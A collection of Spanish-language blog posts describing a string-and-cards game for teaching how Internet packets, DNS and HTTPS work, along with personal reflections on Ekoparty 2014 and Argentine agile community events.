Juego de Piolines

La receta es muy sencilla


Se distribuyen piolines de menos de un metro entre los concurrentes, que deberían ser más de diez. Las personas deben tomar uno o más piolines y conectarse con las cercanas. Esto va a formar una red.

Las personas representan routers y los piolines conexiones.

Se necesitan dos personas, situados en lugares opuestos para que hagan de Servidor y Navegante, teniendo un solo piolín el Navegante.

Hay que tener preparados varios diálogos en tarjetas. De un lado deben tener un Origen y un Destino, por ejemplo:

De uno u otro lado una fracción que representa la posición de este Paquete con respecto al total.

Del otro lado, la Petición

 o la Respuesta, con su render como gentileza.

De este modo estamos representando:

Origen y Destino            Información del encabezado IP
Paquete/total                  Información TCP
Nombre host                  Información del encabezado HTTP o SNI
Petición                          Cuerpo del mensaje HTTP

El primer diálogo se hace con autenticación con envío de credenciales con http y se muestra como los Nodos intervinientes pueden ver el contenido de las tarjetas.

Luego, se repite colocando las tarjetas en sobres, escribiendo en el sobre únicamente las direcciones. Se puede poner el nombre de host en las Peticiones para representar SNI. En este caso tenemos una Respuesta:

En el Destino yo he puesto el nombre en lugar de la IP y en el Origen la IP (y viceversa en las Respuestas), para recalcar que el Navegador tiene IP aunque no nombre.

Se explica que a diferencia del juego, en la realidad no se pueden abrir los sobres, no por ser una regla sino por que es prácticamente imposible.

La tercera actividad es mostrar resolución de nombres y quizás enrutamiento, pidiendo a alguien que oficie de servidor de DNS. El Navegador recibe de la Persona un pedido a un dominio y le pregunta al DNS cual es la dirección IP correspondiente. Una vez que la tiene el Navegador envía la Petición al Nodo al que se halla conectado, el cual decide hacia donde reenviarlo utilizando un mapa aproximado. Se explica tambien que los paquetes son copias y que pueden haber duplicaciones y extravíos.

La cuarta es mostrar como el DNS puede haber sido comprometido y el papel de los certificados en detectar la situación.

La quinta es mostrar las cookies, mediante su agregado al mensaje, sin escribirla sino adjuntando otra tarjeta.


Salvo lo de los cookies, de un modo un otro he realizado  con algunos grupos todas las actividades, con otros menos. La he realizado con quinto, sexto y séptimo grado de primaria, un grupo de quinto y sexto año de secundaria y algunos colados en un break de la Ekoparty 2014, un grupo de profesionales diversos, en el Agile Open MDP 2014, en Agiles Argentina 2014 y en Agile Open Educación 2014, en este último caso con dos o tres personas, sin piolines.


En caso de niños, la red se rompe, arregla y reconfigura continuamente. Lejos de retarlos, se les explica que así es Internet en realidad y su origen militar. Tambien es conveniente tras la primera actividad retirar los hilos y que las tarjetas circulen por todos siguiendo un único camino, para disminuir la distracción.

En mi experiencia, se puede utilizar este juego como actividad disparadora para explicar otros temas, como el almacenamiento de mensajes y credenciales en aplicaciones web ligándolo a privacidad y la conveniencia de no reutilizar contraseñas en distintos sitios.

En particular he explicado la diferencia entre la Persona, el Navegador y las librerías o el sistema operativo, por ejemplo: "La Persona pide ir a un sitio al Navegador. Este arma una parte de la Petición y se la pasa al sistema operativo, el cual avergua la IP y arma la Petición efectiva."

No lo he hecho, pero se podrían mechar diversos temas criptográficos, protocolos de enrutamiento, ingeniería social, virtual hosting. Depende del tiempo, del nivel de los participantes y de cuanto sepas. Como es de esperar, recomiendo que sólo se expliquen los temas que se dominan. Esta es una guía para el juego, no para los temas.

El otro juego que he desarrollado es http://seguridad-agile.blogspot.com/2011/05/juego-agile-ul-ubiquitous-language.html, hace más de dos años, como que inventar juegos no es lo mio.

Ekoparty 2014 dia 3 y otras reflexiones

Cumpliendo con los olvidos de ayer o anteayer

En la charla de jamming, el expositor era brasileño y mostraba periódicamente los AP activos mientras prendía y apagaba los jammers. En una oportunidad, algún vivillo creo un AP "Brasil 1 - Alemania 7". Muy bueno.

Quizás no era un muchacho el barbudo de BAL y más de nuestra edad, pero me olvidé de preguntarle. Sí recordé la frase que comenzó nuestra conversación, cuando esquivó el objetivo de una cámara "máquina hombre blanco roba alma", que pasará a ser uno de mis lemas, acompañando a la hace rato instalada práctica.

Dia tres

Nos anotamos al lockpicking pero era tarde. Entramos y conseguimos el record... de activar la alarma antes de 15 segundos, unos losers totales. Mientras, el equipo de nuestros amigos bolivianos y el mexicano, BolMex, se llevó la victoria olgada frente a los otros quince o veinte equipos. Por suerte nos enteramos tarde de que los equipos podían ser de más de tres, que es lo que habíamos entendido, sino nos hubieramos juntado con BolMex y los hubiésemos hecho perder. Uno de ellos se llama Elvin o Elbin y al decírnoslo inmediatamente lo acompaño de un chiste que no puedo reproducir para no aparecer en alguna lista de una famosa institución de seguridad foránea. Luego se me ocurrió que podía ser Elvin y les Erdilles.

El juego del ul salió bien, aunque quizás los asistentes, alumnos de quinto y sexto y algunos adultos que forcé a participar se deben haber quedado con la sensación de que era una gansada, lo que no es del todo incorrecto. Con un pizarrón para desarrollar los temas disparados hubiese sido más comprensible. Espero que en algún momento el docente me recolecte algún feedback.

En la exposición de privacidad de Luciano Martins me llamó poderosamente la atención su desencanto pues antes de Manning/Snowden pensaba algo y luego pasó a pensar otra cosa. ¡Qué cándido! No sé si será una visión extendida la de él, pero para mí y había pensado que para todos, las revelaciónes sólo dieron detalles sobre algo que era absolutamente claro, sin restarles mérito a su valor personal.

Muy divertida la exposición de rfid de otro brasileño, que anticipándose a cualquier chiste tenía en su presentación un slide que decía algo como "los programas para leer mifare son tales y Alemania masacró a Brasil 7 a 1" y en medio de las risas y aplausos encajó un "ustedes tambien perdieron". Muy bueno.

Hubo una de string comparison timing attack que me viene al dedillo para corregir unas pruebas parcialmente exitosas de hace un par de años, que honestamente es difícil que aproveche.



El cierre no tuvo la espectacularidad de las veces que yo he ido, pero por mi está ok, era como un vicio, placentero e innecesario.

Me llamó la atención que los expositores no usaran zoomit. Lo bueno es que en algún momento del operador de video hizo algo equivalente. Yo estuve sentado adelante de todo y las tablas de datos y similares casi no se podían interpretar.

Estuve conversando con un seguridad-agile que tiene gente para exponer sobre uno algoritmo de cifrado liviano, a ver si se mueve un poquito y hacemos un agileopen o una charla al menos.


En los momentos muertos, elaboré la idea para dos juegos nuevos, pero son con máquinas. Si alguien ofrece un lugar...

...y otras reflexiones

Estas son reflexiones muy personales y las comparto por si son útiles para alguien y para sacármelas de la mente.

En general, sigue sin gustarme el que haya una sección VIP ni me gusta la onda  rockstar, entiendo la aversión que genera en alguna gente esta conferencia.

Entiendo perfectamente el motivo, está la venta de seguridad de por medio, hay sponsor a quienes rendir cuentas. El problema es que eso tiñe todo, así que un error como el mio del año pasado de emitir una opinión sin consultar antes, que en perspectiva no fue tan terrible y la verdad es que hubiese emitido de todos modos aunque el grupo no estuviera de acuerdo, apesta en un ámbito "de negocio". Y el "negocio" no admite críticas y busca salvar las apariencias.

Tambien está el problema de que se mezcle el trabajo con el voluntariado. Alguien que es voluntario no está sujeto a la misma disciplina que quien está trabajando y cualquier conflicto que surja puede poner en riesgo la continuidad laboral de quien esté trabajando, independientemente de quien "tenga razón" en ese conflicto. En realidad, quien está trabajando se ve perjudicado en un conflicto tanto si ha metido la pata como si no y no ha podido evitar el conflicto.

Estos problemas no se manifiestan de modo tan pronunciado, por no decir que no se manifiestan, en eventos como Agiles20xx, que agrupan a varios centenares de asistentes desde hace siete años, en varias ciudades de Latinoamérica (BsAs, Florianópolis, Córdoba, Medellín, Lima y el año que viene en Montevideo), que duran tres días, con una entrada de precio al menos este año bastante mayor a la eko. Son eventos mucho más simétricos, en el sentido que se desdibujan los roles organizadores/disertantes/público. Tienen una carga organizativa inmensamente inferior tanto en términos absolutos como en proporción a la cantidad de asistentes y como no hay una presión "corporativa" por que salga bien, salen bien con relativamente poco stress.

Tambien tienen una parte Open Space, de modo que no hace falta pasar por el filtro de un comité un montón de propuestas, que simplemente se hacen dependiendo del interés que provoquen en ese momento. Incluso está en discusión eliminar el comité y usar completamente el formato Open Space, me parece que Agiles 2015 Montevideo será así, tambien conocido como KAOS 2015 (Keynote less Agile Open Space).

Me preocupa que la ekoparty pueda colapsar por el peso de su propio éxito, que le impide cambiar y la hace cada vez más cara, no tanto para los asistentes sino para los organizadores. Igual estas son reflexiones desde afuera, no he participado de la organización, no he podido acercar a la gente que asiste a la eko a los recursos del agilismo ni he podido acercar a los agiles a la eko. La gente de seguridad como que es reacia a compartir con desconocidos a diferencia de los agilistas.

Las reflexiones han sido escritas bajo la influencia de un profundo sueño, así que pueden haber partes un tanto inconsistentes. Además, es la conversación imaginaria que tengo con algunos del nucleo de la Eko, como cuando uno habla con alguien famoso que no conoce... ¿qué? ¿sólo a mi me pasa?

Ekoparty 2014 dia 2

Antes que nada, algo que ayer me había olvidado.

Gera mostró ayer un gráfico con una cantidad enorme de redes sociales y aplicaciones que no usaba para mantener su privacidad. Eso está ok, pero me parece que tiene un error de perspectiva. Una cosa es ser "Gera", en cuyo caso no hace falta estar en ninguna red social. Otra es ser cualquiera de nosotros, perejiles normales, que profesionalmente estamos obligados a estar en sitios como linkedin o por motivos económicos o familiares usar whatsapp o bobófonos (dumbphones para la gente cool). Una vez hice un trabajo para un señor que la tenía tan larga, que no tenía celular ni leía sus mails, los delegaba a una secretaria. El trabajo fué conectarle una laptop al modem de un teléfono satelital para poder ver sus mails mientras se iba de safari a África.

El poder realmente estar fuera de las reglas del sistema requiere estar en una buena posición dentro en ese mismo sistema o ser un aborigen de la selva amazónica sin contacto con ninguna civilización. Me gustó mucho lo segundo que no esperaba Iván ayer en el panel: que quienes antes estaban contra el sistema ahora formaran parte de él.

Dia dos

El cumplimiento horario de la agenda de hoy estuvo casi cumplido, muy bien.

Las charlas me resultaron "normales", como siempre algo se aprende, pero nada del otro mundo. Como que las que mayor información o conocimiento me aportaron fueron las menos divertidas o amenas y viceversa. Tambien es verdad que a medida que uno va conociendo más se impresiona menos. Un ex compañero de facultad me había pedido asesoramiento para adentrarse en estos temas y sin dudarlo le recomendé mi blog (jaja) y que asistiera a la eko, que es como un patadón que te impulsa y posiciona que poder seguir luego solo y he visto con satisfacción que ha venido.

El español tan divertido en esta ocasión mostró buenas técnicas paranoicas para ataques de ingeniería social.

El que la otra vez nos mató de aburrimiento decapando integrados con peligrosos ácidos y usando microscopios de barrido electrónico, totalmente accesibles para todos, en esta ocasión nos remató convocando a newbies a implementar técnicas de punteros tramposos para evitar spraying en browsers y nos regó a borbotones con su odio contra quienes hacen exploits. Igual muy instructivo, en ambas ocasiones.

Cesar Cerrudo nos deleitó con los sistemas de control de tráfico, al igual que un mexicano con Software Defined Radio. Yo tengo alguna idea de SDR y pude extraer mucho conocimiento, pero dudo que alguien que no sabía nada pueda haberlo hecho.

El desafío de la habitación del lockpánico me atrae pero he logrado mantenerme alejado, me asusta mucho la idea de entrar y no conseguir ni un punto, de todo modos me llevo el equipo para mañana. Lamentablemente no tengo punteros laser con pilas y no pienso canibalizar mi cajita.


Me he encontrado con un docente de una escuela secundaria técnica con quien hemos compartido una capacitación. Él experimentó el juego ul con sus alumnos con todo éxito. Lamenté no haberme enterado antes, para invitarlo a Agiles Argentina 2014 donde mostré el otro juego, el de los piolines, hasta que caí en cuenta que podia mostrárselo mañana, al mediodía a la vera del río.

Ekoparty 2014 dias 0 y 1

Me da un poco de miedo opinar, pues hay gente que no esta acostumbrada a recibir crítica constructiva pública y a veces soy medio bruto y desconsiderado, pero bueno, es lo que soy, tratando de asimilar la crítica destructiva provocada por la crítica constructiva de aspecto agresivo.

El respeto a los horarios de la agenda viene mucho mejor que en otras ocasiones, creo que sólo media hora de atraso.

Con respecto a la ubicación es tan deprimente como ir a Ciudad Universitaria, pero siendo sólo tres dias, se soporta.

El lugar, pese a la lluvia, está muy bueno. El que hayan puesto el canasto con los paraguas para poder circular es una muestra de que dios está en los detalles, no sé a quien felicitar.

Había un stand con "punch the boss", un maniquí con un kinetic en el pecho al que se le podía dar una piña. Tuve que darle un beso para pedirle perdón pues en l primer golpe aparte de hacer sólo cerca de 300 puntos, medio que le pegué de costado y me caí encima, pobre nerd. Por suerte me dejaron un segundo intento y pude llegar a más de 900. Inmediatamente un muchacho le pegó en la primera con 1050 y el que vino a continuación le arrancó la cabeza, pero sólo hizo 300, era un mantequita, jaja. Así que con mi amigo nos fuimos a romper otros stands.

En otro stand había arduinos con muchos accesorios, me asesoraron con respecto a ponerle un micrófono para obtener un dato arbitrario para arrancar un seed(), pero es tema de otra entrada.

En otro, supongo que el de Buenos Aires Libre, había un muchacho que debía ser mucho más joven de lo que aparentaba con su tupida barba y la radio de onda corta con válvulas a la vista que estaba manipulando. Me tiró unas pistas para comenzar con SDR y clonación de controles para alarmas de autos, es que lo segundo que más aborrezco despues de la gente que vocifera por celular en los colectivos son las alarmas nocturnas.

En el stand de Infobyte hay una habitación que parece ser la encarnación de la idea original del año pasado, un cuarto de lockpicking en lugar de una caja. Por supuesto hay completa hermeticidad así que no puede averiguar nada. Ya me ocurrió en alguna eko que el lockpicking fué mi perdición y no asistí a la mitad de las charlas por estar jugando con las cerraduras, no quiero acercarme... no...no!!!


Me encontré con un ex-compañero de trabajo que se ha huevonizado y es un testigo imparcial. Me comentó que fue a defcon y que es el triple. Le pregunté si de cantidad o calidad y me dijo que de cantidad, que la calidad de la eko es comparable.

Cuando digo "imparcial" es que no le importa comparar, no tiene intereses ni a favor ni en contra de una u otra conferencia. Bien.

Me hubiese gustado que igual que el año pasado avisaran a quienes habíamos hecho propuestas de actividades que ya se habían elegido aun no habiendo sido elegidos. Más me hubiese gustado que aceptaran nuestra propuesta (una mini caja Capture the Datacenter sin lockpicking), pero es sólo una expresión de deseo, no un reclamo como es lo primero que igual es un reclamo pequeño.

El panel de  apertura estaba compuesto por históricos hackers locales (de los cuales yo no conozco a nadie, apenas a Iván Arce gracias a que había aceptado mi convocatoria para explicar Heartbleed en Flisol 2014, es que nunca estuve en la escena local, ni en ninguna otra). Fue muy interesante oir sus experiencias. Casualmente hace pocos meses había leido "Exploding the Phone: The Untold Story of the Teenagers and Outlaws Who Hacked Ma Bell"[1] en el cual cuentan como unos pendejos, algunos de ellos ciegos, con la voz (tanto tonos como ingeniería social), silbatos y electrónica rudimentaria controlaban las centrales telefónicas en USA en los '60, recurso que parece que acá tambien se usó en los '90, antes de la digitalización. En ambos casos hay una mezcla de curiosidad y lucro. Uno de los expositores mencionó lo de los ratios en los BBSs, que no se regalaban nada. Otro que en las reuniones presenciales se sospechaba de espionaje por parte de organismos policiales y que se habían descubierto a un par. Tambien, que así como acá algunos crackeaban programas, varios de los locales en la actualidad son personas de renombre y fortuna, tal como allá algunos Steves (Jobs y Wozniak) que fabricaban y vendían las Boxes, que era la electrónica [no tan] rudimentaria. Espero que no tengamos que esperar cincuenta años para enterarnos. Tengo la idea de que hay un libro desde hace unos años... no, me estoy confundiendo con la historia del movimiento de improvisación teatral, lo lamento.

Supongo que antes de hablar se habrán asesorado legalmente y todo debe haber prescripto o no haber estado legislado. No creo estar divulgando nada privado pues han dicho que el video del panel estará online, vale la pena verlo y quizás poner pausa en algunas partes. Igual, fueron muy reservados.



En la charla de wifi jamming, el muchacho en un momento prendió su jammer, habiendo aclarado antes que tenía un alcance de 150 metros, supongo que se habrá notado.


Ayer asistí al training de pentesting de android, para mi muy bueno. Supongo que a alguien que ya sabía un poco de android no le hubiese parecido tan bueno.

No es como me ocurrió con una afamada capacitación de networking que estaba muy de moda y que yo tomé hace mucho y al terminar me quedé con la sensación de que de haberme juntado con dos o tres más que estuvieran en mi misma sintonía, con la plata que salía nos comprábamos tres routers, un libro y en tres fines de semana aprendíamos lo mismo.



A mi me viene como anillo al dedo, ya que tengo que dar una demo en el trabajo de "inseguridad mobile".

Mañana sigo.



[1] http://www.amazon.com/Exploding-Phone-Phil-Lapsley/dp/0802122280

Agiles Argentina 2014

Sensación general

Agotador, 90% ok, contento con la gente y el lugar. Como que faltó gente.

Los números de la asistencia

Ha habido un record de proporción de inasistencia, superando incluso a los prodigiosos Agile Open Seguridad. De todos modos, vino mucha gente. De unos 250 inscriptos vinieron 90. 80 el viernes y 40 el sábado, de los cuales 30 habían venido el viernes

A varios nos llamó la atención que el viernes fuera más gente que el sábado. Varios motivos se me ocurren:

• El viernes ya aprendí lo suficiente
• El viernes ya me dí cuenta que no tendría que haber venido
• El viernes iba a ir a trabajar de todos modos

De este último motivo surgió el chiste:

• Yo no puedo venir el sábado por que tengo familia.
• Yo no puedo porque salgo el viernes.

Hubo gente que vino desde Santiago del Estero, Tucumán, Mar del Plata, Bariloche, Brasil y seguro algún otro lugar que no recuerdo. Me dan ganas de ir al Agile Open de Tucumán, pero el impacto familiar y económico de haber ido a Mar del Plata aún está fresco.

Paula A. y UB

Como en otras ocasiones, indispensable su presencia, lidiando con cada problemita que aparecía. Pobre, venía de otro evento, mucho más pesado, no como este Open Space. En un lugar grande como la UB, hacer actividades en horarios no previstos se complica, cuesta encontrar la llave por que quien es reponsable ese día no asiste.

Tribus foros

De modo bastante mal educado, cuando estaba por empezar la retrospectiva final del evento, interrumí y manifesté que quería hacer un juego de tribus desde el primer minuto de la conferencia. Alan C., gran aprovechador de situaciones inaprovechables, convocó a las tribus y tiré la consigna: para acá los que están inscriptos en Agiles Argentina, por acá los que no. Respetando esta separación, los que están en Foro Agiles y los que no. Quedaron tres grupos parecidos:

		Agiles Argentina
		Si	No
Foro Agiles	Si	1/3
	No	1/3	1/3

Así que han sido convocados a normalizar su situación.

En alguna sesión conversamos acerca de hacer una depuración, como podría ser migrando a google groups. Tambien nos intriga que pasa a nivel de listas regionales. Pienso ahora que lo mejor sería usar sólo agiles-argentina y que se creen o utilicen listas reducidas cuando la ocasión lo amerite.

Por ejemplo, para la organización de este evento se convocó la lista y se hizo una nueva, privada y descartable, con los diez o quince que estabamos interesados alrededor de Soledad P.

¿Por qué no hay lista CABA/GBA? ¿Para qué la querríamos? ¿Es CABA/GBA == Argentina? No es que CABA/GBA se adueñe de Argentina sino que MDQ, Tandil, etc. no se adueñan de Argentina.

Ekoparty Challenge

La organización de la ekoparty (www.ekoparty.org) donó generosamente dos entradas para regalar, con la condición que no fuera al azar. Tratándose de un ambiente alejado de la seguridad preparé dos actividades: una de preguntas de seguridad informática y la otra de pensamiento lateral. No sé si por falta de interés, dificultad en poder asistir a los tres días que dura ekopary o una falla mía de comunicación, NADIE asistió, así que devolví la entradas. Algo en qué pensar.

Catering

Aunque un tanto ineficiente, nadie se quedó con hambre. Pienso que sería mejor que se formaran como grupos y comprar una horma de queso, un jamón entero y cosas así, pero eso requiere una mayor organización.

El viernes hubo que ajustarle los piolines a la asistencia, que tenía una actitud tipo conferencia convencional, donde hay algún tipo de servidumbre que limpia las mesas, por ejemplo. El sábado todo estuvo bien.

Convocatoria Botona

Había convocado en agiles y en seguridad-agile voluntarios para las ingratas tareas de registrar la asistencia en la puerta y estar atentos en general, cosa que no hizo falta. Durante un momento estuve un tanto resentido, pues las dos personas que se acercaron (Maxi R. y Javier V.) son de seguridad-agile y son dos de veinte contra cero de 750. Medio que se perdieron el marketplace y era su segunda vez en Open Space. Cuando reclamé en la retrospectiva del viernes, Diego F. me hizo notar que probablemente la convocatoria había dejado afuera a gente que quizas de buen grado hubiese tomado la tarea de registración.

Ante la justeza de su perspectiva perdí todo resentimiento, salvo conmigo mismo por no haberme dado cuenta. Tomamos su propuesta de "registro tipo cumpleaños": el último en llegar recibe al próximo, que funcionó bastante bien y pienso será la manera de proceder en futuras ocasiones.

Seguridad, Diversión y Aprendizaje

Alguien mencionó este concepto. Yo, que ya tengo los pies inflados de "seguridad" prefiero pensarlo como Protección, Diversión y Aprendizaje. Para cualquiera que haya asistido a alguna actividad o capacitación mía, es evidente que al concepto de Diversión ya lo tengo en muy alta estima, al punto que en alguna ocasión he dicho "este curso debe resultar entretenido, fundamentalmente para mí, pues sería imperdonable que me quede dormido".

Lo que siempre he dado por supuesta es la Protección, en el sentido de "preguntá lo que quieras, si supieras no hubieses venido", pero me faltaba el "no se te está evaluando", que pasaré a incorporar desde ahora mismo.

Sesión de juegos de seguridad

Por fin he logrado derrotar a mis archienemigas María T. e Ingrid A., que durante años se han resistido a considerar la seguridad o su educación como un tema relevante. Por consejo de Ricardo C. que había visto esta misma actividad en Mar del Plata y con la excusa de que conmigo se divierten en los breaks, vinieron y se han lamentado de todos estos años perdidos, jaja.

Anécdota módulo de seguridad

Esta bloque ha sido editado a partir de feedback en privado.

Alguna persona mencionó que está dictando capacitación para desarrolladores y le pregunté por el "módulo de seguridad", a lo cual contestó algo que me dió la sensación que medio que no lo tenía, qué le podía sugerir. En el momento, más por instinto que por malicia me retraí y lo remití a OWASP Top Ten, quedándome con una leve sensación de mezquindad de mi parte.

Según conversaciones posteriores, tuvimos una falla de comunicación, ya que tuvo una actitud como de tanteo, dándome la oportunidad de que yo ofreciera algo, pero como no estoy brindando capacitación fuera del trabajo o estos eventos, ni me dí cuenta.

Me encuentro con que hay alguien que manifiesta interés, pero esto no se refleja en el día a día de las listas de ágiles, ni en los eventos.

La sensación que esta situación me dá es la misma que tiene todo lo que tiene que ver con seguridad, en la parte de la comunidad de seguridad que conozco no está tan enraizada como en agile el espíritu de compartir conocimiento, dejando de lado la discreción que este tema a veces requiere.


Me agarra una terrible inquietud. La falta de enganche a las propuestas de sesiones y conversaciones de seguridad, ¿es resultado como vengo pensando de una falta de priorización o tiene que ver con no compartir?

El rincón de la vergüenza

Por suerte creo que nunca lo dije y menos lo escribí: es complejidad ciclomática, no ciclotímica. Alguien lo mencionó y revisando en mi mente encontré mi error.

Agradecimientos

En eventos simétricos como estos, no me gusta agradecer ni recibir agradecimientos, pues en cierto modo siento que eso nos separa. Si dijera gracias por participar sería "vos a nuestro evento". Si dijera gracias por colaborar sería "vos a nuestra tarea".

Sí puedo agradecer a quienes comparten su conocimiento, por hacerlo nuestro.

Agile Open MDP 2014

Muy buen evento, con una concurrencia mayor a la prevista (o sea más de la mitad de los inscriptos), sin inconvenientes logísticos y un buen clima que nos saludaba desde afuera.

Notas de la sesión de retrospectivas

Algunas personas manifestaron que pese a tener las retrospectivas instaladas había una suerte de estancamiento, una de ellas sospechaba que podía ser por la presencia del PO.

Con respecto al estancamiento, conversamos acerca de usar recursos como ECVP (gracias a Sergio[1] por habérmelo enseñado en su momento y recordado ahora):

Cada uno dice como se siente:

• Explorador: viene a proponer soluciones, buscando formas novedosas de encarar los problemas.
• Comprador: no viene a proponer, pero si a escuchar ideas.
• Vacacionista: viene a la reunión porque prefiere estar acá que en otro lado.
• Prisionero: prefiere estar en otro lugar y no en esta reunión.

Con lo del PO se complica. Es para un equipo distribuido y el PO es english speaker y está todo bien, pero puede estar estorbando. Esto me produjo el primer premio de la jornada.

Pienso, la restrospectiva sirve para mejorar el producto y el proceso. El producto es del PO, obvio, pero ¿el proceso y los subproductos?

Por ejemplo, en Amazon el producto es el sistema de ventas. Pero para desarrollarlo generaron una serie de subproductos como AWS y sus amigos, de importancia comparable al sistema de ventas. Algo parecido con Netflix y ChaosMonkey [2].

Los PO o mejor aun quienes ponen el billete suelen tener, no sé como decirlo, el comportamiento por default de ciertos algoritmos de expresiones regulares: "greedy". Y uno puede tener una cierta reticencia a producir algo y que otro se lo apropie. Mm, no sé, quizás amerita otra entrada aparte.

Notas de la sesión de testing

Lo que resta de este bloque será salvajemente editado resultado de las conversaciones en foro-agiles[3]/agiles-argentina[4] (si no los conocés ¿qué esperás para subcribirte?). Antes de tildarme de desprolijo, recordá que lo perfecto es enemigo de lo bueno, si espero a tener este bloque bien, no lo termino jamás.


Nico Paez expuso algunos conceptos acerca de testing que espero desarrolle en su blog[4]. Tuvimos una discusión acerca de si el análisis estático de código forma parte del testing y para él la linea divisoria está dada por "la ejecución del código".



Dada mi posición actual, para mi no hay distinción, ya que para mi son todas vulnerabililidades (errores de seguridad) y pueden surgir por:

• testeo funcional black box (ethical hacking)
• revisión white box de código de modo manual o automático (static code analysis)
• intuición white box (me parece que esta vulnerabilidad está presente)
• divulgación de vulnerabilidades comunes, que no son de desarrollo propio, por ejemplo un error en un servidor web que se corrige actualizando, reconfigurando o implementando algún parche externo.

A esto le sumaríamos los resultantes de probar que la aplicación cumpla con lo que se supone que tiene que hacer.

Lo que veo del análisis estático, es que son tests pero no están aplicados a un caso de uso, un flujo, una clase o método en particular, sino al texto del código, por ejemplo, es un error que:

• halla una clase con más de ... lineas
• halla un método con más de ... lineas
• hallan nombres de clases, métodos o variables demasiado largos o cortos
• halla un nivel de anidamiento mayor a ...
• una referencia a un objeto pueda llegar a ser usada siendo null
• un dato proveniente del exterior, source, pueda llegar a ser utilizado, sink, sin pasar por un sanitizer

Si mi build se rompe por que no paso jUnit y se rompe tambien por Fortify/FindBugs, para mi es lo mismo, no me importa si el código se ejecutó o no.



No es mi situación actual, pero para mi las vulnerabilidades deben estar junto a los otros bugs, aunque con un tratamiento especial: a menos que el bug tracker/project management tool tenga un soporte completo de roles y permisos a nivel de entrada, no se puede poner la descripción ni ningún detalle, pues se está mostrando como afectar al sistema.

Para destacar

Liliana la decana de la Universidad Atlántica Argentina reiteró su ofrecimiento a la comunidad local de usar las instalaciones para los encuentros periódicos necesarios para su funcionamiento.

Disparadores

Me parece que se sembró la semilla de Agiles Argentina 2015 @mdp, para que germine va a hacer falta el apoyo de todos.


No se si es tarde para AA2014 pero podría ser factible para AA2015, sea donde sea, el Agile Micro/Hotel, supongo que contratar un micro/hotel lleno puede resultar significativamente más barato que viajar/alojarse individualmente.


[1] http://www.ideasagiles.com/

[2] http://blog.codinghorror.com/working-with-the-chaos-monkey/
[3] http://groups.yahoo.com/group/foro-agiles/
[4] http://groups.yahoo.com/group/agiles-argentina/


[5] http://nicopaez.wordpress.com/

Propuesta de sesión Seguridad vs Agile en Agiles Argentina 2014

Por si no tenés sintonizado el canal Agile y no llegaste desde el listado de temas propuestos, voy a tener que contarte que el viernes 26 y sábado 27 haremos Agiles Argentina 2014, las primeras jornadas nacionales de metodologías ágiles, en el espacio gentilmente provisto por la Universidad de Belgrano.

Será puro Open Space, tan puro que hasta la comida será autoorganizada. No voy a repetir lo que ya dice en el sitio[1], sólo le voy a dar un poco de cuerpo a la propuesta de sesión[2] que quizás te trajo acá.

Mi idea es enunciar una lista de tensiones que noto tanto a nivel intuitivo como en la práctica misma a modo de punto de partida y que luego compartamos nuestras experiencias e intentemos arreglar el mundo.

Por supuesto, lo más seguro es que no bien termine de decir "en esta sesión veremos el conflicto existente entre seguridad y agile..." todos nos avalancemos sobre el tema como niños al volcar el camión de los helados, pero bueno, hay gente que necesita saber de antemano a donde piensa que va a ir.

• Tensión entre "need to know" y "collective ownership"
• Mínimo privilegio y mínimo conocimiento vs segregación de funciones.
• El típico waterfall de segurida vs "timely tests", roi temprano,
• Agile desde la gestión de riesgos a la luz de maturiy.

No faltés, es gratis, en horario de trabajo un día si y otro no. Si tu jefe te aprecia, que faltés te deprecia, mostráselo como inversión. Si tu familia te necesita, venir mejora tu futuro profesional. Si sos hombre, vas a tener que hacer tarea del hogar como deberías hacer de todos modos. Si sos mujer, no tendrías que justificar nada, velo como un bien merecido descanso.

Si no se entendió el párrafo anterior, pensalo bien antes de pegarme, repensalo y luego pegame.

[1] http://aa2014.agiles.org/
[2] http://agilesargentina.uservoice.com/forums/261590-%C3%81giles-argentina-2014-26-y-27-sept-en-buenos-aire/suggestions/6275665-agilidad-vs-seguridad

Origami sui generis en entorno no agile

Sin poder exponer mucho las circunstancias exactas, menos por consideración a la seguridad que a mis compañeritos, les comparto esta experiencia de la que participé, unos juegos parecidos a los que usamos en nuestros encuentros ágiles.

La persona que trajo los juegos no tenía experiencia en dirigirlos así que cuando se empantanó le ofrecí el juego del origami colaborativo[1]. Como no lo tenía preparado ni sé ningún origami, la consigna que inventé fue que en cada pareja una persona le explicara a la otra como hacer un avión de papel según su propio modelo.

Formé tres parejas, una enfrentada, una de espaldas y otra en trencito, siendo la persona de atrás quien dirigía.

Repartí hojas sin excluir a cada director de pareja tambien, como para facilitarle que hiciera su avión mientras explicaba. Esto, según pude descubrir luego, indujo en la consigna que había que hacer dos aviones iguales, que no es necesariamente lo mismo que hacer el avión del que daba las instrucciones.

Las variaciones al juego fueron menos resultado de mi afán de innovar que de no recordar la forma original.

Los resultados fueron absolutamente hilarantes:

Los que estaban de frente y se podían comunicar y ver libremente, aunque no meter las manos, hicieron el avión más antiestético que quepa imaginar, pero volaba.

Los que estaban de espaldas, hicieron aviones distintos, ambos correctos. Al parecer obraron de buena fé por el desconcierto mostrado al darse vuelta y ver los resultados.

Los que estaban en trencito, que supuse debieron haber sido los segundos y no los terceros en terminar, se rindieron. El que dirigía acusó al dirigido y éste se defendió alegando que nunca había hecho un avión de papel antes. Entonces tomé el teléfono y llamé a la producción de The Big Bang Theory y pregunté si tenían lugar para otro personaje.

Luego me enteré de que habían intentado hacer trampa: el que dirigía le había dicho "hacé cualquier avión y yo te copio, ya que te puedo ver".

Me pregunto si alguien habrá estado en una situación así en la vida real, más allá de documentar después de diseñar.

Se puede estar descontento en el trabajo por muchos motivos, pero no por estas situaciones. Pocas veces me he divertido tanto, son unos genios.

[1] http://tastycupcakes.org/2009/06/collaborative-origami/

Ejemplo de TDD, uso de tags para reportes de ocurrencias de eventos

En esta ocasión relataré un ejemplo de refactorización de clases, acompañado por la práctica de TDD en una aplicación de seguridad informática. No proveeré código y las entidades y atributos estarán parcialmente ofuscados, en parte por discreción y en parte como recurso didáctico de simplificar el modelo presentado.

El objetivo de la transformación tiene que ver con la generación de reportes estadísticos sobre la Ocurrencia de Eventos.

El modelo desarrollado y usado durante varios meses es bastante simple y razonable:

              Área
                |
Ocurrencia - Evento - Tag - Grupo de Tags por ejemplo Plataformas(windows,linux,mac
                |
           Provincia

